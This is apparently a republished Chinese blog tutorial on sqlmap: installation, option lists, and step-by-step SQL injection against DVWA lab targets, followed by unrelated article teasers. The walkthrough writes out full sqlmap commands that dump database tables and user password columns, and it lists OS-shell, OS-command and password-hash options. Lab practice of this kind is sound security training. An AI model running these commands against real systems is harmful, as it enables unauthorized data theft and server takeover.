SQLMap 扫描利用SQL注入

news2024/11/20 0:49:38

一、SQLMap介绍

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点
SQLMap采用了以下5种独特的SQL注入技术:
  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断
  • 基于报错注入即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入,在可以使用Union 的情况下的注入。. 堆查询注入,可以同时执行多条语句时的注入
SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。

二、安装

1、安装git
    apt-get install git
2、克隆sqlmap
    git clone git://github.com/sqlmapproject/sqlmap.git
3、测试sqlmap是否正常工作,前提要安装python2:apt install python2
     cd sqlmap/
     ./sqlmap.py -h
查看sqlmap的命令字帮助手册
-"url"       #检测注入点
--dbs           #列出所有数据库的名称
--current-db    #列出当前数据库的名称
-D              #指定一个数据库
--table         #列出所有表名
-T              #指定表名
--columns       #列出所有字段名
-C              #指定字段
--dump          #列出字段内容
--os-shell      # 提示输入交互式操作系统shell
--os-cmd=OSCMD  # Execute an operating system command
--passwords     # 枚举DBMS用户密码哈希
-v VERBOSE用于设置输出消息的详细级别。存在七个级别的冗长。默认级别为 1。
  • 0:仅显示 Python 回溯、错误和关键消息。
  • 1:还显示信息和警告消息。
  • 2:还显示调试消息。
  • 3:还显示注入的有效负载。
  • 4:还显示 HTTP 请求。
  • 5:还显示 HTTP 响应的标头。
  • 6:还显示 HTTP 响应的页面内容。
sqlmap.py -u "注入地址"  --dbs            # 列举数据库
sqlmap.py -u "注入地址"  --current--db    # 当前数据库
sqlmap.py -u "注入地址"  --users          # 列数据库用户
sqlmap.py -u "注入地址"  --current--user  # 当前用户
sqlmap.py -u "注入地址"  --tables -D "数据库"   # 列举指定数据库的表名
sqlmap.py -u "注入地址"  --columns -T "表名" -D "数据库"  # 获取数据库表的列名
sqlmap.py -u "注入地址"  --dump -T "表名" -D "数据库"  # 获取数据库表的所有内容
sqlmap.py -u "注入地址" --dump -C "列名字1, 列名字2" -T "表名字" -D "数据库"   # 获取数据库下表的列信息
sqlmap: automatic SQL injection and database takeover tool有个视频演示。

三、Kail自带的sqlmap更新

先输入 sqlmap -update命令 但是命令没有成功 看来是不对的。
1、找到sqlmap的安装路径 因为kali自带sqlmap所以一般的路径都是/usr/share/sqlmap;
2、cd /usr/share/
3、删除掉原来的sqlmap:rm -rf sqlmap
4、输入 git clone GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool
5、更新完成了输入sqlmap -h

四、kail+靶机演示

4.1、dvwa(Low)GET请求

4.1.1、环境准备

1、登录Metasploitable2靶机的http://192.168.11.105/dvwa,输入用户密码:admin/password, dvwa版本:  Version 1.0.7 (Release date: 08/09/10)
2、点击"DVWA Security",首先将难度调整为Low。
3、点击SQL Injection,我们在查询接口输入User Id为1进行查询,这时候生成的地址就是我们的目标注入点http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,同时Cookie的值是security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979

4.1.2、注入探测

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979"
可以看出,爆出了SQL注入漏洞,探测到数据库是mysql,版本4.1以上,所在操作系统Linux Ubuntu 8.04。
当SQLMap执行该命令时,它会执行以下步骤:
    1)判断可注入的参数;
    2)判断可以用哪种SQL注入技术来注入;
    3)识别出哪种数据库;
    4)根据用户选择,读取哪些数据。

4.1.3、获取所有数据库

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dbs
可以看出列出了7个数据库名。

4.1.4、获取指定数据库内的所有表

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --tables -D dvwa

4.1.5、查看用户表中的所有数据

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dump -T users -D dvwa

4.1.6、获取指定表中列名

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --columns -T users -D dvwa

4.1.7、获取指定表中指定列的值

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dump -C "user, password" -T users -D dvwa
dvwa版本:  Version 1.0.7 (Release date: 08/09/10),调整为medium级别后,SQL注入还是GET方式,跟low级别一样,推测是dvwa版本太低导致。
故docker搭建新的一套dvwa环境(docker run --name dvwa -d -p 80:80 -p 3306:3306 -e MYSQL_PASS="root" citizenstig/dvwa,dvwa版本: Version 1.9 (Release date: 2015-09-19))。

4.2、dvwa(Medium) POST请求

dvwa版本: Version 1.9 (Release date: 2015-09-19)

4.2.1、调整靶场难度等级为中级

4.2.2、确定注入点

难度调整为中级之后,请求方式变成了post,查询输入接口由手动输入变成了选择方式,且在url不会直接显示我们的查询请求。
POST  http://192.168.11.135/vulnerabilities/sqli/
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium

4.2.3、注入探测

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"

4.2.4、获取所有数据库

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --dbs
可以看出列出了4个数据库名。

4.2.5、获取指定数据库内的所有表

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --tables -D dvwa

4.2.6、查看用户表中的所有数据

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"  --dump -T users -D dvwa

4.2.7、获取指定表中列名

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"  --columns -T users -D dvwa

4.2.8、获取指定表中指定列的值

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"  --dump -C "user, password" -T users -D dvwa

4.3、dvwa(High)

dvwa版本: Version 1.9 (Release date: 2015-09-19)

4.3.1、调整级别

将DVWA难度调整为high之后,可以看到high等级的输入查询在弹窗进行输入,而数据显示确在原窗口进行显示。
原窗口数据包请求方式为GET
GET http://192.168.11.135/vulnerabilities/sqli/
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high
弹出的输入窗口请求方式为POST
POST http://192.168.11.135/vulnerabilities/sqli/session-input.php
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high
负载:id=1&Submit=Submit

4.3.2、需要用到联合查询命令‘second-url’

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/session-input.php" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high" --data "id=1&Submit=Submit" --second-u "http://192.168.11.135/vulnerabilities/sqli/"

4.4、dvwa(Impossible)

dvwa版本: Version 1.9 (Release date: 2015-09-19)
Low、Medium、High级别其实都是通过限制数据输入来起到防护作用,而我们在手工注入的时候通过使用burpsuit等抓包工具篡改数据包都是可以绕过它的限制的。
Impossible等级则是在数据传到后端之后先进行了格式验证,然后还使用了PDO预处理。人家都说了Impossible,目前是无法进行注入的。
 

五、-r参数(从文本文件中获取http请求)

命令实例: sqlmap -r /usr/a.txt
说明:使用该命令时须指明a.txt(保存着http请求包)文件所在的绝对路径
验证过程与-u参数类似
  1. 判断可注入的参数
  2. 判断可以用哪种SQL注入技术来注入
  3. 识别出所有存在的注入类型
  4. 尝试去判定数据库版本、开发语言、操作系统版本

5.1、dvwa(Low) GET请求

利用Burpsuite截取HTTP Request报文,将截取到的HTTP Request报文保存在文本文件中
爆当前数据库的库名sqlmap -r /usr/share/sqlmap/zq.txt --current-db
生成缓存:/root/.local/share/sqlmap/output/192.168.11.135

5.2、dvwa(Medium) POST请求

利用Burpsuite截取HTTP Request报文,将截取到的HTTP Request报文保存在文本文件中
删除缓存:rm -rf  /root/.local/share/sqlmap/output/192.168.11.135
爆当前数据库的库名sqlmap -r /usr/share/sqlmap/zq.txt --current-db 
 

六、参考

kali自带的sqlmap更新_XTJ469的博客-CSDN博客_sqlmap更新

sqlmap自动化漏洞利用(DVWA初、中、高)_PisaYu的博客-CSDN博客_sqlmap 渗透dvwa

《sqlmap 官网》

搭建DVWA漏洞环境_青霄的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/106626.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

光伏行业管理亟待变革,数商云供应链系统订单流程自动化流转助力企业降本增效

作为实现“3060”双碳目标的主力军,光伏产业正迎来空前的政策、市场、资本三重加持的红利期。有业内人士预测,到2025年全球新增光伏装机量将达到270-330GW,国内新增光伏装机量将达到90-110GW,十四五期间年均新增光伏装机量将达到7…

用React做一个音乐播放器

介绍 任何正在学习 React 并想使用 React 构建项目的人。有各种博客和文章可以为开发人员指导此类项目。我确实浏览过这些文章,但其中总是缺少一种项目。缺少的项目是音乐播放器和视频播放器。这两个项目都会让您有机会处理音频和视频。您将学到很多东西&#xff0…

Linux学习-97-vmware网络桥接模式配置和vmware快照操作

19.3 vmware网络桥接模式配置 桥接:需要保证Linux虚拟机和本机处在同一个网段! #win平台输入ipconfig查看主机的ip地址Linux也必须要配置到对应的网段 桥接模式:主机ip 和虚拟机ip映射到同一块物理网卡(光纤,无线…

达梦数据库-centos7安装

参考官方文档 1.环境 操作系统CPU数据库CentOS7x86_64dm8_20221121_x86_rh6_64.iso 2.安装前准备 2.1 关闭防火墙 或 开放5236端口 # 关闭防火墙 systemctl stop firewalld systemctl disable firewalld # 开放5236端口(推荐使用) firewall-cmd --pe…

TYPE A USB2.0电路设计

TYPE A USB2.0连接器可以分为公座和母座,放在供电端PCB板上的一般是母座, 2.0的母座有四个信号引脚。今天就来和大家分享下TYPE A USB2.0的板级电路设计, 首先来看到 TYPE A USB2.0四个引脚的信号定义,1脚是VBUS,需要…

Kafka系列之入门(荣耀典藏版)

目录 一、为什么要用消息中间件? 1、异步处理 2、应用解耦 3、流量削峰 4、日志处理 二、为什么选择Kafka? 消息中间件的编年史 1、Kafka的外在表现和内在设计 2、市场主流消息中间件对比 三、Kafka中的基本概念 1、消息和批次 2、主题和分区…

【笔记:模拟CMOS集成电路】两级运算放大器设计与仿真(带版图)

【笔记:模拟CMOS集成电路】两级运算放大器设计与仿真(带版图)前言1.电路分析1.1电路结构电路描述:1.2小信号分析1.3公式2指标设计2.1预期设计指标参数2.2参数分析(1)确定gm1、gm6(2)分配电流(3)确定M1尺寸(4)确定M6尺寸(5)共模输入…

学习.NET MAUI Blazor(二)、MAUI是个啥

随着.NET 7的发布,MAUI也正式发布了。那么MAUI是个啥?我们先来看看官方解释: .NET 多平台应用 UI (.NET MAUI) 是一个跨平台框架,用于使用 C# 和 XAML 创建本机移动和桌面应用。 目录关于MAUIMAUI的工作原理如何开发MAUI该如何选择…

5万字企业数字化运营管理平台软件开发框架项目技术方案

目录 1 项目总体概述 项目总体技术方案保障 系统设计 系统体系结构设计 系统指标保障 系统质量 系统健壮性 系统应具备安全性 系统易用性 系统可维护性 系统完备性 系统可扩展性 系统可测试性 系统可移植性 系统可追踪性 系统易安装性 2 项目技术方案 2.1 系统…

没有的博客1

我虽不善言辞 但关于爱你 我无法掩饰 关于我爱你音频:00:0004:55 | 01 | 愿你们是渣的那一方 背负所有骂名愉快生活 而不是在深夜痛哭 辗转反侧茶饭不思 做一个痛苦的好人 | 02 | 昨晚喜欢的男孩子发了新女友的照片 很难过 做个大人真好啊 十分钟就能让自…

Linux上RabbitMQ安装使用

文章目录安装安装erlang安装rabbitMQ管理指令安装 官网 由于需要对应erlang和rabbitMQ两者版本的关系,先确定好下载哪个版本,版本关系表,以下教程以Erlang 23.3.4.11和RabbitMQ 3.9.14为例 安装erlang 略,进入对应版本下载安装…

【YApi接口管理平台】在Linux上使用Docker搭建YApi (亲测完美运行)

本期目录前言1. 创建MongoDB容器数据卷2. 安装Node.js3. 拉取MongoDB镜像4. 启动Mongo容器5. 拉取YApi镜像6. 初始化YApi7. 运行YApi容器8. 访问前言 博主想在自己的 Linux 虚拟机上使用 Docker 搭建 API 接口管理平台来团队开发一个项目,跟着网上的教程硬是装了好…

Unreal Engine的编译类型和命名规则

目录 编译类型 命名规则 资源命名规则 文件夹命名规则 编译类型 debug game只能调试你的项目,不能调试编辑器项目 多加了一个editor,就可以调试编辑器了。 不同的编译类型可以理解为引擎在不同的类型下的监管程度,用以不同的场景 Te…

树莓派驱动水星无线网卡(MW150UH)教程指南

目录 1.树莓派版本 2.无线网卡 查询无线网卡 1.如果为 Bus 001 Device 005: ID 0bda:b711 Realtek Semiconductor Corp. RTL8188GU 802.11n WLAN Adapter (After Modeswitch) 2.如果为 Bus 001 Device 007: ID 148f:7601 Ralink Technology, Corp. MT7601U Wireless Adapte…

深度学习计算广告(更新中)

本文转自王喆的《深度学习计算广告》,仅用于学习。 文章目录一、计算广告系统简介二、经典的广告系统架构三、dl时代广告系统各模块技术演进1. Ad Ranking - 从大刀阔斧的革命到精雕细琢的改进(1)模型发展图(2)张俊林&…

STL之list模拟实现

list常识 list迭代器不支持【】&#xff0c;所以不支持随机访问。也不支持>、<&#xff0c;没有意义&#xff0c;因为iterator是地址&#xff0c;地址并不连续。 重要的说三遍&#xff1a; list不支持随机访问&#xff0c;因为没有重写[]。 list不支持随机访问。 list不…

vue3+ts项目 笔记总结

一、首先得先建好vue3ts的项目&#xff1a; 在终端新建项目输入&#xff1a;vue create vue3-ts接下来的每一步如图所示&#xff1a;注意要通过空格选中TypeScript二、项目建好后&#xff0c;开始正常的开发&#xff0c;注意区分vue2与vue3的区别&#xff1a; 在vue3项目中不…

移动设备软件开发-Spape详解

Spape详解 1.自定义背景shape 1.1gradient 1.简介 定义渐变色&#xff0c;可以定义两色渐变和三色渐变&#xff0c;及渐变样式&#xff0c;它的属性有下面几个2.属性 angle&#xff0c;只对线性渐变是有效的放射性渐变必须指定放射性的半径&#xff0c;gradientRadiouscentetX和…

(一)汇编语言——基础知识

目录 基础知识 总线 地址总线 数据总线 控制总线 内存地址空间 总结 今天我们就开始学习有关汇编的相关知识了&#xff0c;感觉和之前学的STM32相类似&#xff0c;所以学习起来并没有感觉很困难&#xff0c;相反&#xff0c;感觉有点好玩&#xff0c;并且理解了底层原理…

网络技术期末复习~重点考题

解题思路&#xff1a; 标准答案&#xff1a; 11. 如图所示&#xff0c;网络145.13.0.0/16划分为四个子网N1,N2,N3,N4。它们与路由器R相连的接口分别是m0,m1,m2,m3,R的第五个接口m4连接到互联网路由器&#xff08;接口地址为1.1.1.1&#xff09;。 (1)请给出路由器R的路由表。 …